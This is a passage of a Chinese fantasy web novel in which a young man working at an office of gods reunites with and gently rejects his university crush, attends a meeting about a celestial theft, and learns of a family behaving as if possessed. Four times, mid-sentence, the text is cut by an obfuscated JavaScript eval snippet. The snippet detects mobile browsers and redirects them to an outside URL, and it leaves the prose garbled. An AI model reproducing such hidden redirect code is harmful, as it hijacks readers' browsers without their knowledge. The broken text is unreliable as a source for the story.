“白大……姐!”甘霖心惊胆战地叫了一声,果然,白泽不光飘在空中,水绿色的头发也无风自动,不说别的,光是那个脸和姿态,就根本不像是个人类,“你,你这个样子可以吗?”他使了个眼色,意有所指。 白泽挑眉,“有什么不可以的,放松点,这位是你的朋友吗?” “嗯。”甘霖看向季然台,果然,对方皱着眉头,一副疑惑且不悦的表情,完了,这是已经感觉出不对劲了,他待会儿要怎么解释,还是说没什么不能被凡人知道的吗? “好了,开了这么久的会,我都累死了,先走了。”白泽说着,飘上楼不见了。 “阿甘,这个白大姐是不是对你有意思啊,她不知道你喜欢男生吗?”季然台俯身问甘霖。 “不是,他不是大姐……”等一下,虽然白泽是长得很美,雌雄莫辩的,但衣衫懒散半敞,那个胸肌怎么看都是男人啊,甘霖问,“然台,你觉得刚才那位长得怎么样,头发颜色不会很奇怪吗?” “长得是很漂亮啦,现在女孩的确喜欢染头发,但是黑发也不能算奇怪吧。”季然台逼近甘霖,黑亮的眼睛盯着他的脸,“这不是重点,重点是她应该比你大很多岁,个子太高了,比你还高,走路的姿势太轻浮,最最关键的是,你不是喜欢男生吗,你不会喜欢她吧?而且她为什么叫你叫得那么亲密,你才工作几天啊,和她已经很熟了吗?” 障眼法啊,原来他眼里看到的和季然台看到的不一样,甘霖总算是松了口气。 “没有,白大姐就是人比较热心,对谁都很好,你也知道我喜欢男生,怎么可能喜欢她呢,别多想了,走走走,带你去我办公室看看。” 两人进了办公室,里面倒是没有任何变化,只有飞廉一个人在,孰湖和丁令威也不知道去了哪里。 “哇,外面看不出来,你这个办公室布置得这么好,工作环境不错嘛。”季然台很满意。 “那当然,我们单位很好的,你先坐。”甘霖把季然台请到沙发上,然后去冰箱那边拿了饮料过来,“吃喝都是免费补给的哦,喝吧。” 说完他看向飞廉,迟疑了一下,“科长,要喝茶吗?” 飞廉对着电脑不知道在看什么,闻言“嗯”了一声,“谢谢。” 于是甘霖又去给他泡了一杯热茶。 平常来说,这种事都是在别的机关单位工作的下属每天需要为领导做的,但是这里没有那么多讲究,他竟然还是第一次给飞廉端茶倒水。 “看来你们单位资金很充足啊,这样我就放心了。” “你还没说你是怎么知道我在这里的。”甘霖追问。 季然台揉了揉他的脑袋,生气道,“你还好意思说,居然拉黑我,你知道我找不到你有多着急吗?还是你们系的导员,我之前找他打听过你一次,他记得我的联系方式,你在这里工作后好像回访过一次就业情况,他就告诉我了。” 甘霖都忘了就业回访的事情了,季然台是典型的富三代,俗称首都土著,家族无论在政界还是商界都相当有影响,要是别的普通学生,他们导员才不会特意记住联系方式,然后专门打电话告知这种小事情。 “我还去找了你之前租房子的地方,听人说那里摔死人了,冻了三天才被发现,你知道我当时什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307874|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么心情吗,就怕你在我不知道的地方受苦受冻的,觉都睡不好呢!” 甘霖:……那个人正是不才在下我。 “我又不是笨蛋,不能自理,怎么可能沦落到那个地步,你就是太操心了。”甘霖宽慰。 季然台抓住他的胳膊,看向他的眼神有些担忧,想说什么又忌惮地看了眼不远处办公桌前的飞廉,最后只能压低声音,克制而不甘地说了句,“总之你以后不要再搞失踪了。” “然台……”甘霖看着他,不知道该说些什么,不论他经历过什么,是不是无法信任别人,轻易和人产生感情上的牵绊,但被人这样赤忱地牵挂着,总归是会让人感觉到温暖的。 况且这个男生还是他曾经真心喜欢过的人,他看着季然台的神色变成他自己都没察觉的柔软,“真的谢谢李。” “阿甘,我等你下班好不好,你让我去看看你住的地方,不然我真的不放心,而且我还有很多话想和你说。”季然台的手缓缓往下,即将要握住甘霖的手。 “甘霖。”飞廉忽然出声,“加茶。” “哦,好的,这就过来。”甘霖轻轻推开季然台的手,起身去茶水台又去给飞廉添了一杯茶。 季然台不满地瞪了飞廉一眼,他刚还觉得这个领导人不错呢,这会儿觉得这个家伙真是没有眼色,就算要使唤下属,难道看不见他们还在说话吗? 飞廉也转头看他,眼神没有任何温度。 因为家世的原因,季然台虽然看上去大大咧咧没心没肺,但其实是很有心思和城府的一个人,生平第一次,他竟然觉得对方的眼神有些可怕,看得他背后一凉。 但是直觉告诉他,他不能退,不为别的,单纯就是男人的尊严和荣耀! “科长,茶。”甘霖过来隔断了两人的视线,两人才各自转过头去。 飞廉端起茶杯一饮而尽,“十分钟后和我去楼上开会。” “什么会,我也能去吗?” “关于盗窃案的事。” 甘霖点头,“好,我知道了。” 说完他走到沙发前,抓起季然台的手,“你快起来了,赶紧回去,我一会儿还有工作呢。” 季然台忽然笑了起来,“上学的时候你天天就是这么把我从床上拉起来,催我去上课的。” 甘霖也想起了两人上学时的事,之前那点陌生的隔阂好像消失了,无奈地笑,“赖在宿舍和赖在别人办公室是两码事,你先去附近找个地方待着,我下班就去找你行了吧。” 他这么一笑,又把季然台给看呆了几秒,季然台顺从地起身,抱着他拍了拍,“不知道为什么舒一口气,那我等你,你一定要来,你不来我就一直等你。” 甘霖呼噜了一把他毛刺刺的脑袋,“行了,你没正事了吗?” “现在还有比你更正的事儿?你先把我从黑名单拉出来!” “知道了,走吧,送你下楼。”甘霖拿出手机操作,把季然台先送走了。 回到办公室看看时间也差不多,“走吧大人,我们去哪儿开会?” “不用了,我自己一个人去就行了。”飞廉起身。 甘霖一脸懵逼,“哈?” 26.26.魔子 (一)糊涂小东 “你是在戏弄我吗?”甘霖直截了当地问。 “什么?”飞廉已经走到门口了,闻言回头,不明白他为什么这样问。 甘霖走过去,嘴角噙着笑,漂亮的杏眼却很平静,“你这样感觉就是在闹别扭,你是在为我昨晚说的那些话生气吗?” 飞廉蹙眉,昨天的对话对他确实有很大的影响,但他并不是会为了这样的事情故意去刁难别人的人,“我没有这么想。” “那你说要我和你一起去开会,这会儿又说不用了,这难道不是戏弄?”甘霖逼问。 飞廉无言以对,“如果你想去开会的话……” “不是我想不想的问题,关键是现在这项工作到底需不需要我参加。” 飞廉也不傻,这么大个驴就在面前,再不骑上去下坡,那纯粹就是没事找事,所以他立刻点头,“在十楼,现在就过去。” 气氛就这样缓和了,甘霖回身在桌子上拿了本子和笔,跟着飞廉上了十楼,“还是要讨论昨天太虚灵宝阁失窃的事情吗?” “嗯。” “早上你们不是已经开会讨论过了,这会儿还要商量什么?” “早上只是去确定了是否失窃,排查了昨天到天庭的人,互相进行了询问,排除了基本的嫌疑,这会儿还不知道。” “哎?是天帝主持的会议吗,你见到他了吗,长什么样子,和电视上一样还带着那种珠帘晃来晃去的冠冕吗,还是像西方王室一样直接搞个王冠顶在头上?”甘霖很感兴趣,问题一个接着一个。 飞廉垂眸看了眼他顾盼神飞的样子,确定他确实不再芥蒂刚才的事情了,“不是天帝,是他的近臣,你说的那是玉皇大帝,这个概念很模糊,也加了凡人的理解和信仰,和天帝类似但略微有区别,照你以为的理解就可以,我几千年没见过他了,不知他衣裳形制。” “天帝是三界最厉害的人吗?”甘霖刚问出就反应过来,“不对,飞廉大人才是三界最强的。” 没有人被夸了还不高兴的,飞廉看他,眉目柔和,“自古以来,无论人皇还是天帝,他们并不需要自己是最厉害的。” “这倒是没错。” 说话间他们就已经到了顶层十楼,甘霖还是第一次来这一层,只看到一个昏暗幽长的走廊,两侧有数扇门,上面也有铭牌,不过看不清写着什么,他们也没有深入,直接进了电梯正对面的大会议室。 里面已经坐了很多人,有甘霖见过的,也有素未谋面的,不过长条会议桌的主位那位,他见过两次,很是熟悉,一个鹤发童颜,面色红润,笑容满面的老头,正是神仙驻凡办事处的处长,东华帝君,简称东王公。 东王公笑眯眯地朝两人摆摆手,指着自己旁边的位置,“风神大人,快请来坐,小甘也是,好久不见了,工作怎么样,环境还适应吗?” “谢谢关心,挺好的。”说完,甘霖很懂规矩地坐在了飞廉身后的椅子上。 他观察了一圈,各个部门都来人了,按名牌就座。 有的部门只有一个代表,譬如后勤科只有副科长木客,神禽管理科只有不揣蛋的迦楼罗,有的也和他们外勤科一样来两位的,秘书或助理坐在身后,比如凡人外管理科就坐着科长白泽,身后还有那个面熟的牛头人。 借此机会甘霖也算是更了解了一些办事处的机构建制,有些是一看名字就大概能猜到职能的,譬如凡人外再就业中心,神器装备科或者功德财务科,还有的看名字完全看不出是干什么的,譬如天道监察科,跨物种关系调节科。 另外还有东北、西北、东南、西南四个大区办事处的代表,还有幽都联络员,见过一次的葵璇,总之非常多人。 甘霖听孰湖科普过,神仙驻凡办事处就是天庭的代表,类似天庭分庭,管的事情涉及三界,事务繁多杂乱,而且虽然名为办事处,但其实是个国家级单位,要比听上去的级别高得多。 比如东王公面前就放着副部长的牌子,甘霖算了算,这么说起来,飞廉这些各个科室的科长,基本上全都是省级领导。 哇,无论从三界的哪个意义上来说,他都是抱上了了不得的粗大腿。 “大人,功德财务科是不是发工资的啊,科长是财神吗?”甘霖凑到飞廉耳边低声问。 “嗯。” 果然,那大金链子大金表,印花奢侈品和镶钻的手机壳,不是财神都对不起这身行头,甘霖在心里点了三根香,默默地双手合十,对着财神拜了拜。 那可是货真价实的真财神,这个机会要是错过了,感觉他会穷一辈子。 “人到齐了,我们开始正式会议,这次就算是一月工作的总结会,也是春节前我们最后一次开会了,这次的会议主要内容有两项,一个是各个科室的工作总结,一个就是讨论关于最近发生的一些异状。”东王公道。 甘霖打听过,东王公年龄不算大,可以说在座至少有一半的人都比他年长且资历深,活得最久的就是飞廉,但办事处的机构和职务设置不是论资排辈,东王公能当处长自然有他的理由。 也不知道是不是为了服众,他是唯一一个老头模样的神仙,其他最多也就是个中年人样子,大部分看上去都和飞廉一样,是年轻人。 听完东王公的开场白,甘霖立刻发愁了,早知道他就不来了,这至少有三十多个部门,挨个儿昨晚总结,他屁股都得和椅子长在一起,这些凡人外还是活得太久了,居然连这都能忍。 结果东王公翻了翻手中的文件,“之前各个部门已经把总结报告都交上来了,我全都看过了,挺好的,就各别部门的一些问题重点询问和强调一下,首先是跨物种关系调节科,这些年各方之间调节的都很平衡,巫族和妖族也是和平了百年有余,但是去年一年光是龙族关于迦楼罗的投诉就多了百分之七……” 甘霖看向迦楼罗,依然一身华丽的衣袍,鲜艳夺目的火红色长发,或许是因为连着参加了两个会议,表情疲累,百无聊赖地斜靠在椅子上,好像东王公说的事情完全和他没关系似的。 反倒是另外一边跨物种关系调节科的科长,时不时地瞄一眼迦楼罗,表情相当忐忑。 说来说去,到最后,东王公也没说迦楼罗一句,哪怕是要求他注意影响,不要在龙族面前露面,只是要求跨物种调节科的科长协调龙族活动时间和神禽管理科的工作时间,还让三界药食用资源局想办法宣传龙肉制品的事情,减少龙族的抵触和仇视情绪。 甘霖算是看出来了,迦楼罗东王公惹不起,跨物种调节科的科长惹不起,龙族也惹不起。 “大人,龙族不是应该很厉害吗,怎么感觉好心怪受欺负的。”他往前欠身,低声问飞廉。 飞廉微微偏头,“龙族的确是最古老的种族,不过烛阴,应龙和雷神都已陨落,现存资格最老的是四象青龙神君,他是个老好人,主张求和,比起他,迦楼罗不光有神凤撑腰,还是西方极乐八部众之一。” 说白了,比起龙族,迦楼罗比较惹不起。 其他就说了说各个城隍分站妖口普查,地仙监督和道士认证KPI的完成情况,还有什么跨界物流运输 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311681|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打击异兽副产品走私不力啊,副产品研发中心新品报告啊,文旅资源科主题旅游路线开发啊,各种各样。 甘霖也算是对他们这个单位的业务范围有了个系统的了解,简直是集商业,文化,军事,教育,外交,资源管理,科学技术开发,生态环境等等于一体。 会议第一项比他预计的要快得多,虽然部门众多,但大部分没什么问题,东王公也不废话,说完就完,所以很快就进入了会议的第二个议程。 “关于太虚灵宝阁失窃一事,因为藏品没有登记造册,所以一时无法查清楚到底被偷了什么东西,丢了多少,在座各位基本都进入过三十六重天的各个藏宝库,太虚灵宝阁更不用说,能不能回忆起在太虚灵宝阁都见到过哪些东西?”东王公抽出一张白纸,笑眯眯地问。 空气一时安静,大家面面相觑谁都没说话。 过了半天,迦楼罗才嗤笑一声,“您老人家该不会是想着靠我们的回忆还原太虚灵宝阁的宝贝,你现场记录,然后拿去对比确认吧?” 甘霖看东王公的表情就知道对方就是这么想的。 “你在搞笑吗?太虚灵宝阁的藏品何止成千上万,那里面的幻境天地比这栋楼都大,还会自己变换结界和布置,就算是天天进去的守卫几千年也遇不到一次完全相同的情况,你想就靠我们几十个人还原所有藏品?” 甘霖感觉要不是面子上得敷衍一二,迦楼罗能直接撂挑子走人。 “这就是你留在天庭和那些人商量出来的办法?”一直没有发言的飞廉出声道。 甘霖眼睁睁看着东王公一下子坐直了身体。 东王公神色尴尬,“风神大人,现在一时也没有别的办法。” “鬼车处刑,灵宝阁就被盗,明显是有人声东击西,谏珂和鬼车不过都是幌子,与其在这里浪费时间,不如去查幕后黑手,他若真偷了什么东西,必然会有下一步动作,让各地城隍提高警惕。” “当然,这个肯定是要排查的。”东王公手中的笔尖在纸上划拉了两下,“那您看,这个回忆藏品的事……” 飞廉看了他一眼,直接起身了,“甘霖,我们走。” 甘霖抱着笔记本跟上去,随后迦楼罗和好多科长也都起身离开了。 只有白泽漫不经心地飘到东王公身边,“小东东啊,怎么能让天庭那帮想甩锅的人把你当枪使呢,这种事情,别说区区天官,就是天帝问起,你让他有本事直接找飞廉好了,你把那人招进这里,比立了多少功都靠谱,这么大的靠山在这里,不用怕的。” 东王公叹了口气,“您说的是,他二位怎么样?” 白泽看了眼正出门的飞廉和甘霖,笑得别有深意,“挺好的。” 回办公室后甘霖看了眼时间,刚好是午饭时间,他拿出手机查了查,想看看附近有没有什么高口碑的店,请季然台吃饭。 “之前说要请我吃饭。”飞廉突然道。 甘霖愣了一下,“对啊,不是说到家里,我做给你吃吗,怎么了,你今天就想吃吗?” 飞廉看向窗外,“外面也可,这附近有不错的店吗?” 甘霖赶紧拒绝,“抱歉,今天不行,中午我要和然台吃饭,晚饭估计也要一起,能不能再等等?” 飞廉抿嘴,表情不虞,还未张口,甘霖的手机响了。 他边接起边走出去了,“喂,然台,下班了……你到门口了?行,我这就下去。” 孰湖开开心心打卡下班,准备去吃午饭,“好冷,哪儿来的风,窗户没关吗?” 27.27.魔子(二)我曾真心喜欢过 办事处的地址实在是偏,附近有点档次的也只有上次他和飞廉一起去买东西的那个购物广场。 季然台就在那里等着,所以甘霖直接过去找他。 “你想吃什么,我现在有钱了,可以请你哦,想吃什么都行。”甘霖豪气万千地拍了拍自己的帆布包。 季然台看着他这样就开心,“那我可不客气了。” “不用客气,上学的时候你没少请我吃饭,我终于可以报答你了。” “我可不是为了让你报答我才对你好的。”季然台揉了揉甘霖的头发,意有所指地说。 甘霖装作没听懂的样子,指着一家炭火烤肉,“我们去吃那个吧,你和我都爱吃肉,这个最好。” 季然台人高马大,饭量翻倍,甘霖也挺能吃,两个人点的肉摆满了旁边的菜架,服务生都委婉提醒他们可以吃完了再点。 “果然还是要吃肉才能感到满足啊。”甘霖听到肉接触炭火上的烤盘发出的滋滋声就高兴。 季然台把肉翻面,“你和上学的时候一点都没变。” “能有什么变化,不过也就七个月没见而已。”甘霖盯着肉不错眼。 “七个月?!我俩自从大一认识都没分开超过七天,你觉得七个月很短吗?”季然台的表情有些幽怨,但还是把甘霖最爱的牛舌放进了他的盘子里。 “那是因为你是本地人,我又没有家,假期也不回去,不然寒暑假分开个把月不是很正常嘛,你看看天下大学生,毕业都要分道扬镳的。” “你也要和我分道扬镳?而且别人毕业分开也会拉黑室友所有的联系方式吗?”季然台有些生气。 这件事甘霖没办法解释,夹了一大筷子肉放进季然台的碗里,“吃吧,快吃。” “你别想糊弄我。”季然台道,“我知道你为什么要拉黑我,我跟你说……” “甘霖!” 突然的声音打断了两人的对话,甘霖抬头一看,然后瞬间一脸黑线,“你们这是干嘛?” 飞廉孰湖带着白泽和承泣,甚至还有解放了的迦楼罗和祸斗,六个人齐齐整整在他们面前站了一排,靓的靓极俊的俊极,有黑有白,各种风格,简直吸引了所有人的目光,服务员小姐姐都惊呆了,左右来回看,还以为是什么明星在这里拍节目。 “飞廉大人请吃饭,这么巧,你也在这里吃,好吃吗?”孰湖一脸期待。 甘霖思考了三秒,抬手招呼服务生,指着离他们最远的卡座位置,“麻烦带他们去那边的大桌子,不然坐不下。” 结果六个人在甘霖面前晃了没到一分钟,又像小学生排路队一样,被服务生带着去了餐厅的另一头。 “怎么了,你不喜欢你的领导?”季然台觉得甘霖有些奇怪。 甘霖打哈哈,“谁愿意在下班的时候还看到领导啊,肉都不好吃了,远一点不影响心情。” 被人这么一打断,季然台刚才准备摊牌的情绪也戛然而止,只好说起别的话题,“这个特殊事件应对处是个什么样的单位,我以前从来没有听说过,上网查了查也没查到什么,好像别的地方都没有。” “嗯,我也说不好,我才来一个多星期,也还在进入状态。”甘霖含混其词,“总之就是偶尔会帮助警察处理一些事情,比较奇怪的那种。” 说完他觉得自己没有解释好,这个说法实在是太奇怪暧昧了,要是季然台再继续追问,他可真不知道该怎么说了。 但季然台什么也没问,只是“嗯”了一声点点头,“那没有什么危险吧。” “那倒没有,而且我的领导和同事都挺厉害的,会好好保护我的。”这个问题就好回答多了,甘霖不假思索道。 季然台看着他如玉精雕的脸,神色认真,“那就好,要是你在我不知道的时候受伤,我一定会恨死我自己。” 甘霖被他郑重其事的样子逗笑了,“你说什么呢,工作受伤那也是我自己的事,你干嘛恨自己。” “那我姐的那件事呢,她在我不知道的时候找你,对你说狠话,让你离开我还拉黑我,我一点都不知道,也不该恨自己吗?”季然台终于说出了自己今天从见到甘霖后就一直想说的话。 甘霖愣了几秒,放下手中的杯子,“你都知道了?” “阿甘,真的对不起,是我太天真了,我不该和我姐说我的事。”季然台神色痛苦又愧疚,握住了甘霖的手。 甘霖看着覆在自己手上的大手,深色的皮肤和他的形成鲜明的对比,修长有力骨节分明,比他的手大了一圈,手背上还有一道明显的伤痕,是为了他打架留下的,他用拇指轻轻摩挲了一下季然台的指腹。 这是个很亲昵的动作,让季然台心花怒放,喜出望外,“阿甘……” “然台,你知道的,就算没有你姐姐,我和你也不可能在一起的。”甘霖的动作带来希望,可说出口的话却让季然台绝望。 “然台,你知道吗,你姐姐并没有让我离开你,她甚至求我能够继续留在你身边,她说我让你变得像个真正的活人,让你感受爱和温暖,让你有了作为男人的担当,总之在她看来,我对你的生命很重要。” “是很重要……那你为什么离开?” “如果只是留在你身边,不需要她求我,她求我的是即使里作为季家的继承人不得已必须和一个条件合适的女人结婚,必须生下几个孩子,我也不要离开你。”甘霖微笑,慢慢拿出自己的手,“我做不到。” “阿甘……” “我真的很喜欢你,然台,我从很小的时候就知道自己喜欢男生,可你是我第一个喜欢的人,和你互相照顾的那两年,是我人生为数不多美好的时光,你姐姐来的那天,我本来打算和你告白,因为我觉得我们可以在一起,但在她和我说完这些话后,我就已经决定放下你了。”甘霖面色有些苍白,微笑已经一点点离开了他澄澈的眼底。 嘴上说的轻而易举,云淡风轻,但想到那天,想到他当时被迫做出决定,离开宿舍,拉黑季然台所有的联系方式,彻底放下这段初恋,他的心脏还是会有种抽痛的感觉。 “阿甘,对不起,但是我真的不想失去你,我可以离开季家,反正我爸在外面还有别的儿子,就算没有我也无所谓,我只想和你在一起,这七个月对我来说真的太难熬了。”季然台无法让自己放手。 “看出来了,瘦了很多,肌肉线条都没有以前漂亮了。”甘霖勉强开了个玩笑,递给季然台一张纸巾,“干嘛哭啊,擦擦。” “肌肉还可以练,你喜欢的我都可以给你……”季然台也不想表现得这么脆弱又幼稚,在两人之中,他才是一直充当保护者的那个角色,可现在的状况却让他清楚的明白,甘霖已经成长了,已经往前走了,而他还停留在原地,留恋在大学甜蜜的旧梦里,无法自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323349|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拔。 “你爸还有别的儿子,但你妈妈和你姐姐就只有你一个,你是她们的希望。”甘霖起身,伸手帮季然台擦了擦眼泪,重重捏了一把他的鼻子,“好了,别这样,是我配不上你,从一开始就是我配不上你。” “你胡说。” “真的,我这个人自私又狭隘,我吃过太多苦了,以后只想轻松的过日子,说白了,我不愿意为了你去承担你家族的压力,长辈的刁难,还有未来的不确定。”甘霖说得清楚明白又残忍通透,“要是你为我离开季家,我俩一起吃苦,以后我或许会抱怨你没有给我更好的生活,如果留下,像你姐姐说的那样,那我也会因为你结婚生子变得歇斯底里,不管怎么样,都不会有什么好结局,倒不如就让我们的关系断在最美好的时候。” “就算离开了也不会吃苦,我会去工作赚钱,好好养活你的。”季然台最后一次的争取,说得没有丝毫底气。 甘霖果然笑了出来,“大一的时候你非要缠着跟我去打工,陪我发传单,结果嫌天气太热,就把传单全都给了环卫工,自己去咖啡店吃冰淇淋,后来被发现,工钱没领到,还赔了传单的印制费,一次不算,是好几次,结果自己专业课出勤率不够,期末挂科,差点被你爸打断腿,你会骑几百万的摩托车,却不知道怎么扫码解锁共享单车,游戏能玩到全服前十,论文的查重和排版还是我帮你搞定的,洗被子和被芯一起扔进去搅,煮鸡蛋煮一个小时蛋黄都发黑了……” “阿甘……”季然台不甘又羞窘。 甘霖说这些的时候是真心实意地在笑,那些兵荒马乱,哭笑不得的生活他现在仍然能想起很多细节,仍然觉得开心,季然台的确给他的生活带来了很多快乐。 “然台,你心里也知道的,我们现在这样就挺好的,如果你愿意,就是我唯一的朋友。”甘霖已经不想再继续这个话题了。 季然台知道,如果被定在朋友的身份上,他就再也没有机会了,可如果拒绝,他就会再失去甘霖的踪迹,甘霖的人生拥有的很少,所以总能毫不留情地全身而退。 “嗯,只要你过得好。”季然台勉强挤出个微笑,“那我们就经常出来聚聚,你现在工作了,要请我吃饭喝酒。” “那必须的,我工资还不错呢。”其实甘霖不知道自己工资是多少,不过猜测应该不低。 心绪平静下来,之前那些一直被他刻意忽视的视线就再也忽视不了了,他无语抬头,看向斜对面,六个大美男,只有孰湖的眼神在肉上,祸斗的眼神在迦楼罗身上,其他四个人的眼神,都在他的脸上。 他们到底是来干嘛的啊。 甘霖还在无语,旁边一桌说话的声音吸引了他的注意。 吃饭的是一对中年男女,此时那个女人正神色尴尬地看着桌前一个高中生模样的女生,“你怎么会在这儿?” 女生双手插兜,神色冷淡,“我来看看你不惜跑到这么远的地方和他吃饭的男人长什么样。” 女人干笑了两声,介绍了男人,“这位是你田叔叔。” 女生倒是很直接,“他就是你给我找的后爸?” …… 甘霖:即视感太强了,不会真把我当爹了吧。 季然台:“阿甘,怎么了?” 甘霖,“然台,你要是突然发现自己有个儿子,会是什么心情?” 季然台,“啊?!” 28.28.魔子(三)缠人的流浪狗 中午的时间比较短,甘霖和季然台吃过饭就回办事处了。 季然台坚持把他送到了单位门口,临走的时候眼眶还是红的,就像一只被雨打湿的大狗。 “好啦,去吧,下午不是还要一起吃晚饭,你别搞得和生离死别似的。”甘霖哭笑不得地推了季然台一把。 他既有和初恋的感情彻底决断的怅然,也有把事情说开从此不必再烦忧的轻松,所以再转身看到六个人排排站在他面前的时候,他都不感觉厌烦了,只是很好奇,“各位大人,你们今天到底在干什么,是在跟踪我吗?” 祸斗是真狗,典型就是来接迦楼罗下会回家,被拉来凑人头的,所以他一脸茫然地和甘霖打了个招呼,就带着迦楼罗闪现消失了。 “只是对小甘霖的感情史很好奇而已,你以前不是说过喜欢个子高身材好,黑皮腿长的大帅哥嘛,就是刚才那位?”白泽是典型看热闹不嫌事大,又是这里头活得最通透的人,甘霖甚至怀疑这次的行动就是他策划的。 他看了眼从头到尾都没说话,甚至没有正面对他,一直侧身站着不知道在想什么的飞廉,笑着承认,“对啊,就是他,怎么了,我不能谈恋爱吗,单位有这个规定吗?” 果然飞廉的身形一僵,转头看了他一眼,然后头也不回地走了。 有病,甘霖心里骂了一句,天要下雨娘要嫁人,亲儿子都管不着,更何况便宜儿子呢,别说他和季然台没什么,就算是有什么,也犯不着六个神仙妖精跟在屁股后面看热闹吧。 实在太冒犯了。 “这是你的自由,小伙子不错。”白泽拍了拍甘霖的肩膀,转身跟着飞廉走了。 甘霖看向从头到尾都狠狠瞪着他,眼神冷漠又嫌弃的承泣,“怎么了,承泣大人对我的私生活也有指教?” “水性杨花,不知检点。” 这次甘霖是真的不能忍了,“所以我就问你说的到底是谁,凭什么用这样的词语形容我,别以为你长得帅官又大就可以对我指手画脚,我只是和从前的朋友去吃饭,又不是和一群男人扒光衣服开什么非法聚会,怎么就水性杨花,不知检点了?” 承泣无法反驳,冷哼了一声,拽着孰湖转身离开了。 大门口只留下甘霖一个人,在一月的寒风中,看着从机关大楼变回破败城堡的建筑,独自凌乱。 真是无语,这些不是人的凡人外,就连思维都那么奇怪,到底有什么事是不能直说的,拐弯抹角有什么意思,他真的是一头雾水,只觉得心累。 甚至不想回办公室。 不过还是得去,幸好飞廉不在,甘霖结结实实地松了口气,不知道为什么,他面对飞廉其实在生气之余是有些心虚的,甚至也反省自己刚才的态度实在是太尖锐了。 毕竟自从他来到这里,飞廉对他一直都很好,而且就像中午吃饭时的那个高中女生一样,对父母各自往前走,踏入新感情,孩子有点抵触情绪是很正常的。 想到这里,甘霖拿出手机给飞廉发消息,“大人,你是去出外勤了吗,要不要帮忙?” 结果一直到下班,飞廉既没有回消息也没有回办公室,甘霖也只能暂时中断求和示好的行动。 下午季然台回了一次家,是开车来的,带他去了他们大学附近常吃的火锅店。 “其实我有件事想和你说。”季然台迟疑道,“听你说了你们单位的事情后,我就觉得可能得要找你帮忙。” “你说,怎么了?” 季然台神色严肃,“阿甘,你相信中邪吗?” 甘霖筷子一顿,“啊?” 他立马打电话给飞廉,没有十秒,飞廉就从餐厅门口走进来了,神色肃然的坐在甘霖身边,看着季然台,“你口中关于中邪的事情,详细说说。” 季然台还没反应过来,看了看门口,“这么快,你又那么凑巧,也在这里吃饭?” 飞廉皱眉,甘霖抓住他的胳膊,“然台,说正事。” “哦。”季然台充满敌意地看了飞廉一眼,才说起自己要求助的事情,“其实不是我家的事,是我爷爷的一个老朋友,和我们家也算是世交。” 那家人元旦回老家祭祖,回来以后,老爷子就不对劲了,晚上总是梦魇,精神也差了很多,但毕竟老人家都快八十岁了,睡眠少质量差也是很正常的事情,请医生上门也不过就是开一些安神补脑的药。 但完全没有效果不说,情况还越来越严重了。 有两三次,老爷子就和梦游一样,大半夜的起来,在别墅里外来回转,大喊大叫地说家里进了贼,最后一次还拿起了刀,警察也被惊动了,但查了周围和监控,根本就没有贼。 “本来到这里事情也不算是离奇,但是半个月前的时候……”季然台左右看了看压低声音,“老爷子提着刀,把家里养了七八年的一只狗给砍死了。” 事情陡然变得让人毛骨悚然起来,甘霖鸡皮疙瘩都起来了,“什么?!” “家里人和佣人一点声音都没听到,第二天一早发现狗被剁成了几大块,都给人吓完了,警察都来了,结果还没查,老爷子拎着刀一身血污地从楼上下来了,那表情淡定得都不像个正常人。”季然台说到这里自己心里都有点膈应,“家里人都不相信,不知道他为什么这么做。” “结果老爷子说什么,说这只狗是他上辈子的仇人,他要是不杀了狗,狗就会咬死他!” “警察也没办法,老爷子年纪大了,又是自家的狗,最后只能委婉提醒家里人带他去精神科看看。”季然台叹了口气,“那个爷爷对我也挺好的,没想到到了安享晚年的年纪,却忽然发生了这样的事情。” 但这还不算完,在老爷子杀了狗以后的这半个月,那家人接二连三地都出现了类似奇怪的症状,偶尔就跟被什么孤魂野鬼附身了一样,说的话,做的事完全不是本人的样子,只不过情况没有老爷子那么严重,还没有发展到伤人的地步。 家里暂时正常的人都觉得事情不正常,只能想办法解决。 “据说光是庙里求香拜佛,请道士上门做法都不下五次了,一点用都没有。”季然台道,“后来又有人怀疑是不是有人给他们家的饮水或饭菜里下了什么毒,引起了错觉或精神混乱,警察也来调查过很多次,什么都没有发现,已经开始考虑家族遗传精神病的方向了,但就算是这样,也没有人到了八十岁忽然犯病,或者一个家族七八个成员忽然在短时间内同时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 